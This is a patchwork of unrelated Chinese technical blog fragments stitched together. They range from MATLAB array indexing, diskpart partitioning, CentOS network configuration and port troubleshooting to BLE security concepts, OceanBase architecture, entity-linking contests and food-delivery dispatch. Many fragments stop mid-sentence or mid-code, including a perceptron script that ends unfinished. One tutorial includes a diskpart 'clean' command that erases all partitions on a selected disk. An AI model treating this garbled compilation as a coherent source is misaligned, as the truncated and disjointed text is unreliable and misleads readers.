>> x = 100:-5:1; %产生100到1的等差数列,数据点为20个,赋值给x x1 = x(10); %获取x的第10个单元的值,赋值给x1 x2 = x(1:10); %获取x的前10个单元的值,赋值给x2 x3 = x(16:end) %获取x的后5个单元的数据,赋值给x3 x4 = x(2:2:end) %将x的偶数单元中的数据赋值给x4 x5 = fliplr(x); %将x的数据倒排序赋值给x5 %运算结果 x = 100 95 90 85 80 75 70 65 60 55 50 45 40 35 30 25 20 15 10 5 x1 = 55 x2 = 100 95 90 85 80 75 70 65 60 55 x3 = 25 20 15 10 5 x4 = 95 85 75 65 55 45 35 25 15 5 x5 = 5 10 15 20 25 30 35 40 45 50 55 60 65 70 75 80 85 90 95 100 2.
使用cmd命令合并分区 这里以合并U盘为例,合并电脑硬盘同样的操作。
本教程在Windows 10系统下进行。
”Win+R”打开运行界面,输入”cmd”,打开命令提示符。
在命令提示符窗口下输入”diskpart”,进入diskpart交互环境。
输入”lis dis”,显示所有的磁盘。该命令会显示所有挂在电脑上的磁盘,注意U盘所在磁盘序号。
输入”select dis x”,选定磁盘x(x代表第三步显示的U盘序号)。
输入”clean”, 删除被选择磁盘x(U盘)下的所有分区。
输入”create partition primary”,在磁盘x(U盘)下创建一个主分区。
输入”active”,激活主分区。
输入”format fs=fat32 quick”,快速格式化主分区为fat32格式。
输入”exit”,退出diskpart交互环境。
更多内容可以访问https://www.lukeewin.top
神经网络三感知机 前言一、感知机算法二、感知机举例三、感知机简单实现结果 前言 感知机数学模型
提示:以下是本篇文章正文内容,下面案例可供参考
一、感知机算法 二、感知机举例 三、感知机简单实现 代码如下(示例):
import numpy as np import matplotlib.pyplot as plt test_data = np.array([[3,3],[4,5],[1,1]]) lb = np.array([1,1,-1]) plt.figure() def show_point(test_data,lb): for i in range(len(test_data)): if lb[i] ==1: plt.plot(test_data[i][0],test_data[i][1],'ro') else: plt.plot(test_data[i][0],test_data[i][1],'bo') plt.axis([0,6,0,6]) plt.show() w = np.array([1,0]) b = 0 for j in range(11): flag=0 for i in range(len(test_data)): result = np.dot(w,test_data[i])+b if result >0and lb[i]==-1: w=w - test_data[i] b=b-1 flag=1 break; if result <0and lb[i]==1: w=w +test_data[i] b=b+1 flag=1 break; print(w,b) show_point(test_data,lb) x_data=[-6,6] y_data=[0,0] if w[1] !
CentOS单网卡绑定双IP 初始网卡配置文件 [root@Container ~]# vim /etc/sysconfig/network-scripts/ifcfg-enp3s0f0 TYPE=Ethernet PROXY_METHOD=none BROWSER_ONLY=no BOOTPROTO=none DEFROUTE=yes IPV4_FAILURE_FATAL=no IPV6INIT=yes IPV6_AUTOCONF=yes IPV6_DEFROUTE=yes IPV6_FAILURE_FATAL=no IPV6_ADDR_GEN_MODE=stable-privacy NAME=enp3s0f0 UUID=64c6147b-3a90-496b-bf00-4cfee85deebb DEVICE=enp3s0f0 ONBOOT=yes IPADDR=202.205.161.98 PREFIX=23 IPV6_PRIVACY=no GATEWAY=202.205.160.1 DNS1=202.205.161.113 DNS2=202.205.160.3 DNS3=219.142.50.126 方法一:在原网卡配置文件直接增加新IP [root@Container ~]# vim /etc/sysconfig/network-scripts/ifcfg-enp3s0f0 TYPE=Ethernet PROXY_METHOD=none BROWSER_ONLY=no BOOTPROTO=none DEFROUTE=yes IPV4_FAILURE_FATAL=no IPV6INIT=yes IPV6_AUTOCONF=yes IPV6_DEFROUTE=yes IPV6_FAILURE_FATAL=no IPV6_ADDR_GEN_MODE=stable-privacy NAME=enp3s0f0 UUID=64c6147b-3a90-496b-bf00-4cfee85deebb DEVICE=enp3s0f0 ONBOOT=yes IPADDR=202.205.161.98 PREFIX=23 IPV6_PRIVACY=no GATEWAY=202.205.160.1 DNS1=202.205.161.113 DNS2=202.205.160.3 DNS3=219.142.50.126 NAME=enp3s0f0 IPADDR2=202.205.161.112 PREFIX=23 GATEWAY=202.205.160.1 方法二:新增网卡配置文件: 新配置文件 修改IP地址及网卡名称DEVICE=enp3s0f0:0 IPADDR=202.205.161.112
[root@Container ~]# cp /etc/sysconfig/network-scripts/ifcfg-enp3s0f0 /etc/sysconfig/network-scripts/ifcfg-enp3s0f0:0 [root@Container ~]# vim /etc/sysconfig/network-scripts/ifcfg-enp3s0f0:0 TYPE=Ethernet PROXY_METHOD=none BROWSER_ONLY=no BOOTPROTO=none DEFROUTE=yes IPV4_FAILURE_FATAL=no IPV6INIT=yes IPV6_AUTOCONF=yes IPV6_DEFROUTE=yes IPV6_FAILURE_FATAL=no IPV6_ADDR_GEN_MODE=stable-privacy NAME=enp3s0f0 UUID=64c6147b-3a90-496b-bf00-4cfee85deebb DEVICE=enp3s0f0:0 ONBOOT=yes IPADDR=202.
摘要: 说一下对RRU(FPGA部分)的理解,以及RRU中FPGA里面有哪些模块(FPGA究竟要干哪些事情),简单的说一下ORAN
1.RRU 先看一下通信过程:
手机 —— 小型基站 —— 宏基站 —— RRU —— BBU
RRU就是射频拉远模块,接受无线信号,处理后传给BBU(基带处理单元),或者接受BBU传过来的信号,处理后,经过天线发送出去。
RRU里面包含很多东西,有数字处理部分(FPGA),射频收发系统、PA、滤波器、天线、电源等等。下面这张图是比较旧的一张图。拿下行举例:BBU —— eCPRI —— DUC(低频到中频)—— CFR(削峰技术)—— DPD技术 —— AD/DA —— TX —— PA —— 滤波 —— 天线。
在RRU里面,所有的数字处理部分都在FPGA,这张图里面FPGA跟BBU和TXRX对接。CPRI就是BBU与RRU之间的接口规范,它通信的最大速率应该是10Gbit/s。到了5G的时候,数据传输的要求更高,需要更快更多的传输数据,所以用的是eCPRI接口(同时也将low-PHY移至RRU中,大幅度的降低BBU和RRU之间的接口速率要求。)。 在下行这边:DUC -> CFR -> DPD->DAC,DUC就是把低频信号搬到中频信号,CFR是削峰处理,DPD是数字预失真处理。
首先CFR尽量是让信号均匀分布,衡量标准应该用峰均比,峰值与均值的比值要尽可能的小,过高的峰均比会带来一些问题,PA有一定的线性区域,发送的信号需要工作在线性区域之内,在PA这边如果选用功率大的PA会造成功率浪费,选功率小的,会使得峰值状态工作在非线性区域,带来信号的失真,那么降低信号的峰值就是一种折中方案,他会对信号有一定的影响,我了解到的是原始的峰均功率在十几dBm,然后把它压到7dB这个样子,不过这个肯定比信号进入PA非线性区域带来的负面影响要小得多。峰均比理论上来说是越低越好的,因为对PA会更加友好,但是峰均比过于低了会对EVM(误差矢量幅度)造成影响,EVM的偏移量会很大,那么通信的质量其实是不好的,所以峰均比要控制在合适的值。CFR在DPD之前我想是因为如果最顶上的波形有毛刺的话会对DPD的处理效果产生影响。DPD处理与ACLR指标有关,ACLR越低效果应该越好。在下行中有反馈链路,目的就是将信息反馈到DPD这里去观察。
2.FPGA FPGA(现场可编程门阵列),就是以代码的形式去编写电路,然后在FPGA芯片中布局。那么对于RRU,FPGA要干哪些事情?贴一张图:
在FPGA里面主要是分为这几个大的模块,ORAN、LPHY(这部分应该是包含交织/解交织、FFT/IFFT这边变化)、DFE、ADC/DAC这几个大的部分。
3.ORAN 我的理解是,ORAN就是为了统一标准。原来不同的RRU与不同的BBU是不能够适配的,ORAN就是为了让不同的RRU与不同的BBU适配。至于其他的原因(可能真的是为了打破HW的垄断),下图:
ORAN的提出,改变了RU和DU的结构,但对于整个通信中FPGA要干的事情,一点都没少。
4.参考文章 中兴通讯:远端射频模块(RRU)关键技术创新及发展趋势
RRU 数字上变频DUC与数字下变频DDC
5.总结 简单的说了一下自己对RRU、FPGA、ORAN。后续再谈谈自己对ECPRI、ORAN一些文档的解读。
windows端口被占用怎么解决 1.进cmd控制台
2.进入windows命令窗口之后,输入命令,输入netstat -ano然后回车,就可以看到系统当前所有的端口使用情况。
3.通过命令查找某一特定端口,在命令窗口中输入命令中输入netstat -ano |findstr “端口号”,然后回车就可以看到这个端口被哪个应用占用。
4.查看到对应的进程id之后,就可以通过id查找对应的进程名称,使用命令tasklist |findstr “进程id号”
5. 通过命令杀掉进程,或者是直接根据进程的名称杀掉所有的进程,,在命令框中输入如下命令taskkill /f /t /im “进程id或者进程名称”
思想及创新点 使用了空间模型、时间模型以及视觉特征提取三种信息来进行行人重识别。
与从前的Spatial-Temporal Person Re-Identification论文相比多使用了行人行走的方向信息。
Instance-level Spatial Constraint 同一个摄像头中的行人有不同的状态,例如下图行人可以从左边走也可以从右边走,这就是两种状态。
Instance-level Temporal Constraint Joint Metric 实现细节 行人方向不需要手动注释,通过跟踪确定移动方向,也可通过五个连续帧内进行确定。
采用预训练的ResNet-50作为特征提取的基线。
将用于分布估计的高斯核的标准偏差设置为100。对于标度参数,公式16中的α和β分别设置为0.15和1。
实验对比 market数据集:
DukeMTMC-reID数据集:
烧烛实验:
引入实例级信息前后效果:
时空耦合以及时空解耦的区别:
文章目录 前言Security in BLEPairing and Bonding第一阶段第二阶段第三阶段 Pairing methodsLE Legacy Connections (All Bluetooth versions)LE Secure Connections (Bluetooth version 4.2 and later) privacyAn Overview of the Different Security KeysSecurity Modes and Levels 前言 任何系统最常见的一些安全问题包括:
Authentication / 身份验证:身份验证证明对方就是他们声称的身份。因此,如果您要连接到 BLE 设备,您需要确保实际连接的是感兴趣的设备——而不是其他一些伪装成该设备的恶意设备。
Integerity / 完整性:完整性确保我们收到的数据不会被未经授权的设备损坏和篡改。
Confidentiality / 机密性:机密性涉及确保数据不会被未经授权的用户或设备读取。
Privacy / 隐私:隐私与通信的私密性有关,以及第三方是否能够跟踪我们的设备——尤其是通过其蓝牙地址。
这些是与适用于任何系统的安全性相关的一些普遍问题。这些问题中的每一个的重要性取决于产品的应用程序和用例。
基于上述问题,恶意设备或人员可能会实施不同类型的攻击。其中一些包括:
Passive Eavesdropping / 被动窃听:这描述了恶意设备何时侦听两个设备之间的通信,并且能够理解数据——通常是在数据被加密的情况下获得对加密密钥的访问。Active Eavesdropping / 主动窃听:这也称为Man-In-The-Middle (MITM) (MITM) 中间人攻击。在这次攻击中,恶意设备冒充两个设备(外围设备和中央设备)。然后它可以拦截他们之间的通信,路由通信信息以便他们没有意识到攻击正在发生,甚至可能将数据注入数据包。Privacy and Identity Tracking / 隐私和身份跟踪:在这种攻击中,设备和用户通过蓝牙地址进行跟踪——可能会泄露他们的位置并将其与他们的行为相关联。
Security in BLE BLE 中的安全性由架构的安全管理器 (SM) 层处理。 如下图所示:
【导读】人工智能相关比赛的获奖方案,无一不是在某一具体问题上拥有独到的理解和踏实的实现的。每次小编阅读比赛获奖方案,都能明显感受到我与强者的距离。这次为大家带来获奖方案来自2019「全国知识图谱与语义计算大会-中文短文本实体链指」。
【任务介绍】
实体链指(Entity Linking)是NLP领域的基础的任务,一般与实体识别(Entity Recognition)深度绑定在一起。一般的Pipline为:对于一个给定的文本,先用ER识别出其中的实体,然后再用EL将该实体与给定知识库中的对应实体进行关联。
以上任务在中文环境,以及短文本(微博、文章标题)场景下变得越发困难。主要原因如下:(1)口语化严重,导致实体歧义消解困难;(2)短文本上下文语境不丰富,须对上下文语境进行精准理解;(3)相比英文,中文由于语言自身的特点,在短文本的链指问题上更有挑战。
2019年的全国知识图谱与语义计算大会,开设了「中文短文本实体链指比赛」旨在尝试在该领域做一些突破。具体的比赛任务如下:
输入:
输入文件包括若干行中文短文本。
示例:
输入:
{
“text_id”:“1”,
“text”:“比特币吸粉无数,但央行的心另有所属|界面新闻 · jmedia”
}
text_id 为文本序号,text字段为单条输入文本
输出:
输出文本每一行包括此中文短文本的实体识别与链指结果,需识别出文本中所有mention(包括实体与概念),每个mention包含信息如下:mention在给定知识库中的ID,mention名和在中文短文本中的位置偏移。实体链指结果,结果为json格式,包含text_id、text和mention_data三个字段,text_id和text字段与输入一一对应,mention_data字段为链指结果,每个mention必须包含kb_id、mention和offset三个字段,分别对应知识库实体id、mention名以及mention在字符串中的偏移。
示例:
输出:
{
“text_id”:“1”,
“text”:“比特币吸粉无数,但央行的心另有所属|界面新闻 · jmedia”
“mention_data”:[
{
“kb_id”:“278410”,
“mention”:“比特币”,
“offset”:“0”
},
{
“kb_id”:“199602”,
“mention”:“央行”,
“offset”:“9”
},
{
“kb_id”:“215472”,
“mention”:“界面新闻”,
“offset”:“18”
}
]
}
【获奖解决方案】
AlexYangLi 同学,近日在Github上开源了他们的解决方案,该方案荣获中文短文本实体链指比赛技术创新奖。
如下是AlexYangLi 同学对其方案的介绍:
整体设计思路
本次比赛我使用的是 pipeline 的方式解决实体链接问题,即先进行实体识别,而后进行实体消歧。由于中文缺少显式的词语分割符,基于词序列的实体链接容易受分词错误影响。但基于字序列的实体链接又无法充分利用句子中单词的语义信息。因此本次比赛的整体设计思路是在子序列输入的基础上,加入额外的信息来增强字的语义表达,即使用 enhanced character embedding 解决中文短文本实体链接问题。具体而言,对于实体识别,由于要求所识别的实体必须存在于知识库中的 mention 库,因此考虑加入 mention 库匹配信息;而对于实体消歧,在同一文本中出现的不同 mention 的 representation 应该不同,因此考虑加入 mention 的位置信息。
一、基础概念 外卖系统:实现订单的收集、派单的系统
出餐时间:一个餐品的制作时长
接单上限:一个骑手能够一次配送的最大订单数量
ETA:预计送达时间
Pick and delivery problem:路径规划问题,其中货物或乘客必须从不同的起点运输到不同的目的地
二、习以为常的问题 手机上看到的配送时间是怎么来的?在外卖系统中有什么用处?从下单到配送完成,你的外卖订单都存在哪些状态?你的订单是抢单还是系统派单,你认为哪一种更好呢? 三、订单逻辑 外卖是我们日常生活常见的一个元素,那不知道大家有没有想过,为什么你的外卖由他/她来送?或者如果从同一个商家每天重复下单,是否会是同一个骑手配送?还有就是订单和骑手是如何匹配上的?这些问题可能从未出现过在大家的脑海,也可能只是一闪而过,饥饿的肚子抢占了最高优先级,其他的念头没有了一席之地。不管如何,今天我们来聊一聊外卖订单和骑手之间是如何匹配上的。
整体流程 我们从手机各种 app 或者小程序上,选中自己想吃的餐品后,在支付后就产生了一个外卖订单,那一个外卖订单的完整生命周期(下单-送达)【不考虑异常情况,例如售后、退换货等】中,背后都有哪些我们不为人知的事情呢,我们一一分析来看。
商家接单 首先,用户进行下单支付后,不是立即进行骑手的匹配的。我们经常看到一个提示信息『商家已接单』,代表的是商家侧接受了你的订单,当然,绝大多数商家都是设置的自动接单,既然商家绝大多数都是自动接单,那为什么需要这个环节呢?一是防止爆单,通过手动关闭接单来达到不在接受订单的状态,一个是缓存的作用,允许商家在订单过多时候,手动接单来获取更长时间制作餐品,类似于队列的排队等待状态。
抢/拍订单 系统在积累了一定时间后,有了一定量的订单了,这时候会开放订单池(即积累的待派订单),那如果直接将这些订单开放给骑手,遵从骑手的主观意愿,让骑手进行抢单从而实现和订单的匹配,是否可行呢?首先从订单角度看,会导致优质订单秒没,劣质订单超时的现象,或者换个说法就是挑单;然后从骑手角度看,带来骑手感官的不平衡,不利于骑手生态的管理,因为骑手不知道什么时候有订单以及下一个可能订单是否是优质订单,进而会对配送过程产生不满。也就是说,全局抢单模式对任何外卖系统的任意一方都不是有利。那抢单的模式就毫无价值可言嘛?那倒也不是。抢单是派单模式的补充,可以作为一种运营手段丰富系统的能力。目前而言,出行、外卖、快递等系统都不是单一的派单或抢单,而是两者的混合。毕竟没有最优,只是相对而言。
骑手匹配 终于到了骑手的匹配,这个阶段,我们就可以看做是骑手的召回阶段,那么你们觉得是从全量骑手来匹配嘛?我们知道搜索过程中,召回阶段是从海量(全量)物料中通过多路召回机制,筛选全集的一个候选子集,那么你们觉得骑手该如何召回呢?城市维度?城区维度?实际上,常用的召回是地理单元格集合维度(Geohash【正方形】/H3【正六边形】),即以特定点所在经纬所属的单元格开始,所有近邻的单元格的合集是召回的子集,也存在多路召回的情况,本文不做讨论了。以下图为例,WX4G0是起点,周围相邻八个单元格和 WX4G0构成了召回的全部单元格集合(H3索引是7个)。那你们觉得起始经纬度坐标,是用户坐标还是商家坐标呢?一般来说是商家坐标作为起点,使得骑手到商家的距离较近。到目前位置,我们知道了所有的初始候选骑手,那么对于一个订单而言,该选择哪个骑手合适呢?实现骑手和订单的匹配过程,又需要考虑什么问题呢?
订单能否分配给一个骑手,可能要考虑的因素有骑手自身、商家、用户侧以及其他可能因素,例如天气、交通等。骑手和订单的匹配过程犹如九九八十一难,是一个不断缩小的过滤漏斗,从已知的各种条件和运营手段上,对候选骑手进行筛选,最终达到一些或者一个骑手的目的。
首先,在下单前的商家列表页上,有的标识为『蓝骑士专送』而有的没有,甚至出现肯德基、麦当劳等专送骑手的情况,那订单产生后,候选骑手的一个过滤漏斗即是否需要有特定群体的需求。其次,假定我们从骑手的角度考虑,如果骑手身上订单已满(达到骑手的允许接单上限)或剩余额度不满足当前订单所需(并单、大单、超重等),那么这类骑手应该排除再外,可能订单侧有不同的要求时,对骑手的过滤会有不同的情况,例如贵重订单要求一定等级的骑手、特定区域的订单要求地区比较熟悉的骑手等等。
当然,在具体的系统中,肯定还存在各种各样的筛选条件,对召回的骑手进行各种各样的过滤从初始召回的群体中,进行不断的过滤筛选,从而达到一个较小的最终集合。可能同学有疑问,不进行层层的过滤,将这些条件转换为特征,进行端到端的输出不可以吗?可能还真不如这样层层过滤的效果,我们分析来看,首先系统的计算中会涉及到路线规划问题,是一个NP-Hard 问题,骑手数量过多的时候,计算复杂度是难以接受的;再者,匹配过程是一个掺杂运营手段的过程,和临时性的业务逻辑耦合,难以抽象统一规范的特征。
订单生命周期 在外卖订单的生命周期中,时间是唯一的指标,所有因素都会折算成一定的耗时情况来考虑。我们都知道时间=距离/速度,但这里的『距离』和『速度』是折合了各方因素后逻辑表达。以距离为例,计算方式有两点之间的直线距离,也有实际的地图距离,甚至还可以拆分为骑行、步行距离等。时间维度上也会根据实际情况进行转换叠加,例如早午高峰时其他条件相同情况下,配送时间会变长。天气、节假日、交通状况等等,都可以作为直接转化时间或特征输入模型,来影响最终的配送时长。
那在外卖系统中,存在的各种时间是如何相互制约的呢?首先,用户下单后呈现的预计送达时间,是系统结合当前状态给出的估计时间,此时可以没有骑手的因素而用历史平均状态来代替,这个时间(用户 ETA)是呈现给用户侧的,是全局最重要的时间。然后,在进行骑手的筛选过程中,出现第二个重要性时间:骑手预计配送时间(骑手 ETA),该时间代表了骑手系统综合当前状态(骑手、商家、外界以及订单)进行的预估时间。很明显,骑手的 ETA 要小于等于用户的 ETA 才能够满足用户订单的准时送达,实际中是允许进行一定范围的波动(±α time)。
外卖系统是一个强时间状态的系统,对于时效性的要求非常高,而现实世界中是通常存在各种意外的,例如地图定位不准、商家出餐太慢、骑手错误估计配送顺序等。这些意外情况通常需要一定的时间来处理,为了防止意外的发生,可能需要进行提前时间量的预留,从上面的时间状态中,我们可以看出,存在压缩空间的地方只有骑手ETA。
参考链接:
https://www.movable-type.co.uk/scripts/geohash.html
https://blog.csdn.net/weixin_46991173/article/details/113806214
2017年6月8日/星期四/阴
(说明:文中提到的网址,在本文完成时都是可以访问的,如果后期不能访问了,可以用文中提到的方法尝试找到新的获取方式)
环境搭建前的准备:
1,到Python官网下载Python安装包:https://www.python.org/
如果不能访问,可以试试下面的解决办法:
a)安装VPN网络连接工具,推荐用绿色VPN,我用的时候是免费的。
b)百度搜索一下“Python官网无法访问解决办法”或“Python的最新官方版本下载”。
进入Python官网后,点击下载菜单,进入下载界面,截止本文写作时间,Python最新版本号为3.6.1,如果你是电脑是Windows操作系统,可以直接点击“下载Python 3.6.1”按钮下载保存Windows 32位版本的安装包。
如果不是可以在上图中的发布版本列表中点击Python 3.6.1进入3.6.1版本下载界面,在下载界面最下方有各个操作系统环境下的Python 3.6.1版本,如下图:
Windows版本分为32位和64位,用的32位Windows操作系统的同学请下载Windows x86版本,用64位Windows操作系统的同学请下载Windows x86-64版本。
另外,我们可以看到Windows 32位和63位版本又分别有3个不同的版本,我们到底应该用哪一个呢?
“嵌入式zip文件”
嵌入是可嵌入的意思,即这个版本是嵌入版本。该版本下载后是一个压缩包,其中包含一个最小的Python的环境。它的目的是作为另一个应用程序的一部分,而不是直接被终端用户访问。
下图是Python的官方帮助文档中对嵌入式版本的说明:
帮助文档地址:https://docs.python.org/3/ 在界面中选择“Python设置和用法”
或者在Python官网主页,选择“文档”下的“docs” - >“Python 3.x Docs”或“Python 2.x Docs”进入帮助文档界面
这是下载后压缩包截图:
下图是解压后,压缩包的内容:
“可执行安装程序”:可执行安装文件,直接运行安装,下载后可以在无网络的情况下安装。
“基于网络的安装程序”: 需要通过联网完成安装
2,PIP下载
下载地址:https://pypi.python.org/pypi/pip/
如果下载地址不可用,可以尝试用下面的方法找到PIP最新版本下载
进入Python的官网,选择的PyPI菜单
在PyPI将界面搜索框中输入PIP搜索
在搜索结果中找到最新的pip版本
进入下载界面,下载PIP包
3,selenium安装包下载
下载地址:https://pypi.python.org/pypi/selenium/ 和PIP相同,如果下载地址不能用,可以通过下面的方法尝试获取硒最新版本
在Python的官网上的PyPI界面搜索硒
找到最新版本的selenium进入下载界面下载安装包
环境搭建:
1,安装的Python
我用的是可执行安装程序版本,直接双击安装包,然后就是下一步,需要注意的是,3.6.1版本在安装时,有一个选项是配置Python环境的,选了就不用再手动配置环境了。其他的和一般的软件安装没区别。
安装成功后的目录结构:一个是Python的安装目录结构,一个是安装目录下LIB \站点包目录结构(注:目前是没有装硒的目录结构)。
2,检测一下python是否安装成功
同时按下赢键+ R键,出现运行窗口,输入 “CMD”,回车,进入命令窗口
在命令行窗口输入 “python”,回车,安装成功就会显示下图中标红的内容,如果报错了,先看看是不是环境变量没有配置。
PS环境变量配置方法:在“我的电脑”图标上鼠标右键调出右键菜单,然后选择“属性”,win7以上都需要在弹出的窗口上左边菜单列表中选择“高级系统设置”项,然后才能看到我们属性的系统属性窗口,在系统属性窗口点击 “环境变量” 按钮,进入环境变量配置界面在PATH变量后增加的变量值如下: 变量名:PATH
变量值:; C:\Python36;C:\Python36\脚本;
说明:这里的变量值是安装的Python的路径,如果安装在d盘,就把Ç换成d,如果不是安装在磁盘根目录下,要把安装的完整路径填上
配置好了,再用上面的方法验证Python中是否安装成功。
3,安装selenium
Python的环境下安装selenium有两种方法:
方法一:如果电脑中安装了 “pip”,我们就可以用PIP来安装selenium,这个方法就比较简单。
任务描述 本关任务:输入一个四位正整数,输出这个数的翻转。
测试说明 平台会对你编写的代码进行测试:
测试输入:4233;
预期输出:
3324
测试输入:5211;
预期输出:
1125
#include<stdio.h> int main() { int a; scanf("%d",&a); int b=a%10; int z=a/10; int c=z%10; int y=z/10; int d=y%10; int x=y/10; int q=b*1000+c*100+d*10+x; printf("%d",q); return 0; }
Android MTK TP Driver 触屏驱动 ——— 触屏驱动小结
智能手机驱动在LCD调试OK后,紧接着就是要将TP搞定了。此篇简单介绍了在MTK 6765(Android9.0 / kernel-4.9)环境下的调试focaltech的驱动小结。
目录 Android MTK TP Driver 触屏驱动一、TP启动过程及驱动概述二、修改驱动文件1、添加内核驱动文件(1)驱动文件移植到指定目录(2)修改Kconfig 文件(3)修改Makefile 文件(4)修改内核主文件(5)修改内核驱动配置文件 2、DTS设备树配置3、DWS文件配置4、用户文件配置 三、小结 一、TP启动过程及驱动概述 Mtk Touch driver 驱动包括:Mtkplatform 虚拟平台设备驱动、Module touch IC 驱动、Inputsubsystem。
(1)Module touch IC 驱动就是我们要添加的主要内容。
(2)Mtk platform 设备驱动是mtk为了兼容多个touch IC驱动而设计出来的虚拟驱动,它会去遍历每一个touch IC驱动,直到其中一个初始化成功。
(3)Linux input_subsystem是linux的输入子系统,我们的输入设备都要通过这个子系统进行上报事件以及设置事件的类型。
下面这段就是驱动代码中最重要的接口主体部分:
static struct tpd_driver_t tpd_device_driver = { .tpd_device_name = "FT5x0x", .tpd_local_init = tpd_local_init, //tp初始化,主要是注册iic、设置电压、注册中断等 .suspend = tpd_suspend, //休眠 .resume = tpd_resume, //唤醒 .attrs = { .attr = ft5x0x_attrs, .
driver.find_element_by_xpath("//div[text()='RR_title']/../preceding-sibling::td[2]/div").text
.. 代表父节点
preceding-sibling:: 选取当前节点之前的所有同级节点
定位元素的父(parent::)、兄弟(following-sibling::、preceding-sibling::)节点_张楠的博客-CSDN博客_following-sibling
xpath —— 父子、兄弟、相邻节点定位方式详解 - zhangdingqu - 博客园
目录 前言一、概述二、MergeServer与ChunkServerMergeServerChunkServer 三、OceanBase主要应用的技术全局时间戳服务(Global Timestamp Service,GTS)两阶段提交(2 Phase Commit,2PC) 总结 前言 最近因工作接触了OceanBase数据库,查阅了一些资料有了大概的认识,在此做一个笔记。
若要了解更多可以移步Oceanbase官方社区。
感谢OceanBase 架构初探、OceanBase事务引擎特性和应用实践分享、OceanBase的分布式事务两阶段提交工程实践他们的分享。
一、概述 OceanBase是阿里集团研发的可扩展的关系数据库,从模块划分的角度看,OceanBase可以划分为四个模块:
主控服务器RootServer更新服务器UpdateServer基线数据服务器ChunkServer合并服务器MergeServer OceanBase系统内部按照时间线将数据划分为基线数据和增量数据,基线数据是只读的,所有的修改更新到增量数据中,系统内部通过合并操作定期将增量数据融合到基线数据中。
OceanBase系统结构如下所示:
其架构有三个特点:
1 多副本。一般部署为三个Zone,每个Zone由多个节点/服务器(OBServer)组成。
2 全对等节点。每个节点均有自己的SQL引擎和存储引擎,各自管理不同的数据分区。
3 无共享。数据分布在各个节点上,不基于共享存储结构。
OceanBase四个模块具体功能为:
RootServer:管理集群中的所有服务器,子表(tablet)数据分布以及副本管理。
RootServer一般为一主一备,主备之间数据强同步。UpdateServer:存储OceanBase系统的增量更新数据。UpdateServer一般为一主一备,主备之间可以配置不同的同步模式。部署时,UpdateServer进程和RootServer进程往往共用物理服务器。ChunkServer:存储OceanBase系统的基线数据。基线数据一般存储两份或者三份,可配置。MergeServer:接收并解析用户的SQL请求,经过词法分析、语法分析、查询优化等一系列操作后转发给相应的ChunkServer或者UpdateServer。如果请求的数据分布在多台ChunkServer上,MergeServer还需要对多台ChunkServer返回的结果进行合并。客户端和MergeServer之间采用原生的MySQL通信协议,MySQL客户端可以直接访问MergeServer。 另外,OceanBase还包括了一个客户端:
OceanBase客户端(以下简称“客户端”):用户使用OceanBase的方式和MySQL数据库完全相同,支持JDBC、C客户端访问等等。基于MySQL数据库开发的应用程序、工具能够直接迁移到OceanBase。 本篇文档将着手于服务层面(即重点阐述ChunkServer和MergeServe)和技术原理(包括如何实现ACID和分布式事务模型)两个方向进行资料归纳。
二、MergeServer与ChunkServer MergeServer MergeServer的功能包括:协议解析、SQL解析、请求转发、结果合并、多表操作等。
客户端与MergeServer之间的协议为Mysql协议。首先解析Mysql协议,从中提取出用户发送的SQL语句,接着进行词法和语法分析,生成SQL语句的逻辑和物理查询计划,最后根据物理查询计划调用OceanBase内部的各种操作符。
MergeServer缓存了tablet(分表)分布信息,根据请求涉及的tablet将请求转发给其所在的ChunkServer。写操作还会转发给UpdateServer。某些请求需要跨多个tablet,MergeServer会将请求拆分后发送给多台ChunkServer,并合并这些ChunkServer返回的结果。如果请求涉及到多个表格,MergeServer需要首先从ChunkServer获取每个表格的数据,接着再执行多表关联或者嵌套查询等操作。
MergeServer支持并发请求多台ChunkServer,再一次性等待所有请求的应答。另外,在SQL执行过程中,如果某个tablet所在的ChunkServer出现故障,MergeServer会将请求转发给该tablet的其他副本所在的ChunkServer。这样,ChunkServer故障是不会影响用户查询的。
MergeServer本身是没有状态的,因此,MergeServer宕机不会对使用者产生影响,客户端会自动将发生故障的MergeServer屏蔽掉。
ChunkServer ChunkServer的功能包括:存储多个tablet、提供读取服务、执行定期合并以及数据分发。
OceanBase将大表划分为大小约为256MB的tablet(可配置),每个tablet由一个或者多个SSTable组成(一般为一个),每个SSTable由多个块(Block,大小为4KB ~ 64KB之间,可配置)组成,数据在SSTable中按照主键有序存储。查找某一行数据时,需要首先定位这一行所属的tablet,接着在相应的SSTable中执行二分查找。 SSTable支持两种缓存模式,Block Cache以及Row Cache。Block Cache以Block为单位缓存最近读取的数据,Row Cache以行为单位缓存最近读取的数据。
MergeServer将每个tablet的读取请求发送到tablet所在的ChunkServer,ChunkServer首先读取SSTable中包含的基准数据,接着请求UpdateServer获取相应的增量更新数据,并将基准数据与增量更新融合后得到最终结果。
由于每次读取都需要从UpdateServer中获取最新的增量更新,为了保证读取性能,需要限制UpdateServer中增量更新的数据量,最好能够全部存放在内存中。
OceanBase内部会定期触发合并或者数据分发操作,在这个过程中,ChunkServer将从UpdateServer获取一段时间之前的更新操作。通常情况下,OceanBase集群会在每天的服务低峰期(凌晨1:00开始,可配置)执行一次合并操作。这个合并操作往往也称为每日合并。
三、OceanBase主要应用的技术 全局时间戳服务(Global Timestamp Service,GTS) 每个租户一个GTS服务,服务的架构采用C/S结构。租户的每个节点都会有个GTS Client,服务于节点内部的请求。GTS Server只有一个,依托于表__all_dummy表的Leader副本。同时GTS Server也就有高可用能力了。使用全局时间戳服务获取一致性快照读版本这个又简称为全局一致性快照读。同时OceanBase默认读规则是强一致性读,即一个SQL读取的数据的提交版本必须是小于读快照版本的最新版本。在读已提交隔离级别下,这是语句级一致性读;在可序列化隔离级别下,这是事务级一致性读。
两阶段提交(2 Phase Commit,2PC) 引入一个中心节点统一处理所有节点的执行逻辑,以感知每个节点的事务执行情况。该中心节点称为协调者(coordinator),被协调者调度的其它节点称为参与者(participant)。
2PC将分布式事务分成了两个阶段,两个阶段分别为提交请求(投票)和提交(执行)。协调者根据参与者的响应来决定是否需要真正地执行事务。一般地,还有一个预处理阶段,包括获取行锁,生成redo
数据等操作。
Prepare阶段:
协调者向所有参与者发送prepare请求与事务内容,询问是否可以准备事务提交,并等待参与者的响应。参与者执行事务中包含的操作,并记录undo日志(用于回滚)和redo日志(用于重放),但不真正提交。参与者向协调者返回事务操作的执行结果,执行成功返回yes,否则返回no。 Commit阶段:
分为成功与失败两种情况。
最近在做医学图像相关的实践,数据集图像是dicom格式的,标注是nrrd格式的图像.为了方便后期的模型搭建和训练转一下格式.python读取nrrd格式的图像需要用到pynrrd库,使用pip就可以安装:
